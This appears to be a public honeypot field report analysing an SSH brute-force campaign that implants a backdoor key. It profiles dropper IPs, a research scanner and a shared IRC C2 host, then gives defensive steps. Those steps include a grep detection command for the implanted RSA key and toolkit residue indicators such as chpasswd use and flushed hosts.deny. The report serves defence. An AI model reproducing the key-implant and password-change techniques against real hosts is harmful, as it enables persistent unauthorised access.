That is a Max-Planck-Institut fรผr Informatik internet measurement scanner in Saarbrรผcken, Germany. AS680 โ€” DFN, the German National Research and Education Network. Not the operator. A research group doing internet-wide measurement, scanning for hosts that accept the same backdoor key the droppers are installing. Tracking the campaign for the same reason we are. Different methodology, same target.

๐ŸŽ“ Co-observer WHOIS โ€” Max-Planck-Institut fรผr Informatik
  • NetRange: 139.10.0.0 - 139.25.255.255 (CIDR 139.16.0.0/13, 139.24.0.0/15, 139.12.0.0/14, 139.10.0.0/15)
  • NetName: RIPE-ERX-139-10-0-0 ยท Organization: RIPE Network Coordination Centre โ€” delegated to Max-Planck-Institut fรผr Informatik, Saarbrรผcken, Germany
  • BGP origin AS: AS680 โ€” DFN Verein zur Foerderung eines Deutschen Forschungsnetzes e.V. (German National Research and Education Network), allocation 1990-06-14
  • Reverse DNS: inet-research-scan-{1..14}.mpi-inf.mpg.de ยท inet-scan-{1..14}.mpi-inf.mpg.de
“A node that submits a known-bad key for SSH publickey auth is not necessarily the bad guy.”
โ€” Censys, Stretchoid, the Recyber Project, GreyNoise, and academic groups like MPI-INF all run scanners that look behaviorally identical to a botnet's harvest node. The disambiguator is rDNS, the AS, and the explicit inet-research-scan-N hostname. Always check.
๐Ÿ›ก๏ธ What is missing from our logs โ€” and what that tells us

The actual harvest node โ€” the IP the operator uses to log into compromised hosts via the implanted key โ€” does not appear in our cowrie data. The droppers are disposable; their job is to compromise more hosts and expand the implanted-key footprint. The operator returns later, from clean infrastructure (Tor, a VPN, a dedicated bastion), and we never see those connections because cowrie does not actually accept the key. The C2 architecture is air-gapped from the propagation layer. The droppers can be sinkholed, blocklisted, taken down โ€” and the operator's access to already-compromised hosts continues unaffected.

The operator's own infrastructure is invisible to us. The droppers' infrastructure is not โ€” and within those 31 hosts, four distinct clustering patterns surface. Each tells us something different about how the campaign reaches across the internet.

Cluster 1 ยท 3 IPs ๐Ÿ‡ธ๐Ÿ‡ฌโ†”๐Ÿ‡ฎ๐Ÿ‡ฉ Cloud Host / IDCloudHost shared DNS infrastructure

Three of the 31 droppers share the reverse DNS suffix *.cloudhost.web.id across two different BGP origin ASes:

IPOrigin ASLegal entity (block descr)
103.187.146.90AS138608Cloud Host Pte Ltd (SG, Faisal Reza ST)
103.139.192.188AS136052PT. Halto Petirah Angrowangi (ID)
103.49.239.212AS136052PT Cloud Hosting Indonesia / CV Salka Kolaborasi (ID)

Why it matters: two corporate entities โ€” one Singapore, one Indonesia โ€” share one DNS infrastructure. Three of the compromised hosts in the campaign sit on the same operator's bare metal. When one customer of a hosting company gets owned, others on the same platform tend to follow, because the attack surface is shared.

Cluster 2 ยท 2 IPs ๐Ÿ‡ธ๐Ÿ‡ฌ BytePlus / ByteDance โ€” adjacent hosts in one /21

Two IPs โ€” 101.47.156.170 and 101.47.159.125 โ€” live in the same 101.47.112.0/21, share the same admin contact (BPLA13-AP at 1 Raffles Quay, Singapore), and were active two days apart. Same operator. Almost certainly one host with multiple addresses, or two adjacent VMs on the same compromised tenant.

Cluster 3 ยท 1 IP ๐Ÿ†• Brand-new AS โ€” 4 months and 9 days old when it attacked
AS138000 allocated
2025-12-22
First seen attacking
2026-05-01

144.79.187.31 sits in AS138000, a block allocated to PT Antar Fiber Optik. New ASes get used by botnets for the same reason new domains do: clean reputation, no blocklist history. Worth flagging when triaging fresh allocations โ€” any AS less than ~6 months old appearing in attack traffic deserves extra scrutiny.

๐Ÿ”— Cross-dossier pivot
The same infrastructure surfaces in two dossiers
In TI-2026-007
mdrfckr botnet IRC C2
Cryptominer command channel
โ†”
In TI-2026-008 (this dossier)
Backdoor-Key dropper
SSH brute + key implant
198.98.56.205 ยท bullshit-irc.net ยท AS53667 FranTech / PONYNET

Same IP, same hostname, different role across two dossiers. The operator behind bullshit-irc.net is either running both campaigns from the same host, or the host has been compromised twice (and is now running both implants in parallel). Either way, the same infrastructure surfaces in two distinct investigations โ€” a useful pivot for further analysis, and a strong argument that the underground economy maps in TI-2026-007 should be re-checked for Backdoor-Key Harvester signatures.

Five concrete actions, ranked by urgency. Step 1 is the one most readers should run before reading anything else.

โšก Step 1 ยท Do this first
Detect โ€” grep your authorized_keys for the implanted RSA blob
$ grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' \
    /root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null
โœ… Silent output
Clean โ€” no implant on this host.
๐Ÿšจ Any line returned
Compromised. Rotate credentials, rebuild from known-good media, do not trust the host until then.
Step 2 ยท Investigate
๐Ÿ” Look for toolkit residue

Even on hosts the brute-force didn't compromise, check for:

  • Empty /etc/hosts.deny (toolkit-flushed)
  • Missing /tmp/secure.sh / /tmp/auth.sh
  • Unaccounted chpasswd in /var/log/auth.log
Step 3 ยท Harden
๐Ÿ”’ Disable root password SSH

If you accept SSH from the public internet on root with passwords, this is the campaign that finds you.

PermitRootLogin no
PasswordAuthentication no

Defeats the entire toolkit: step 4 (chpasswd) is meaningless without password auth; step 2 (key install) requires successful login first.

Step 4 ยท Block (with caveat)
๐Ÿšง Add the 31 IPs to your blocklist

Useful as a short-term mitigation โ€” but understand they are compromised hosts, not the operator.

The operator will rotate to fresh victim hosts within hours of takedown. Treat the IP list as a moving target, not a fix.

Step 5 ยท Notify
๐Ÿ“จ Tell the abuse desks

If you operate at one of the netblocks listed in the WHOIS section above โ€” DigitalOcean, Microsoft, Google, Hetzner, ByteDance, SK Broadband, CTM, Mundivox, Etisalat, Ufanet, IDCloudHost, Cloud Host Pte Ltd, the smaller APAC/AFRINIC/LACNIC ISPs โ€” your customer at the listed IP is being used as a scanner. A short notification to the abuse-mailbox in the WHOIS record helps the operator's victim layer get rebuilt faster than the operator can replace it.

Investigation Period: 2026-03-28 โ†’ 2026-05-01 (ongoing, 34+ days) ยท Analyst: Liศ™neanu Dumitru-Cristian + Copilot SOC ยท Classification: TLP:WHITE โ€” Public ยท Data Source: Cowrie SSH Honeypot (43 days of JSON event logs, 260 MB) ยท OSINT Sources: RIPE / APNIC / AFRINIC / LACNIC / ARIN WHOIS, team-cymru BGP origin AS, Shodan InternetDB, system DNS rDNS ยท Editorial principle: every WHOIS identifier reproduced verbatim from the public RIR record for the netblock that hit the honeypot. The honeypot caught what it caught. We are not the judges; we are the providers of what the records say.
โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous Honeypot Field Reports โ€” 8 / 20 Next โ†’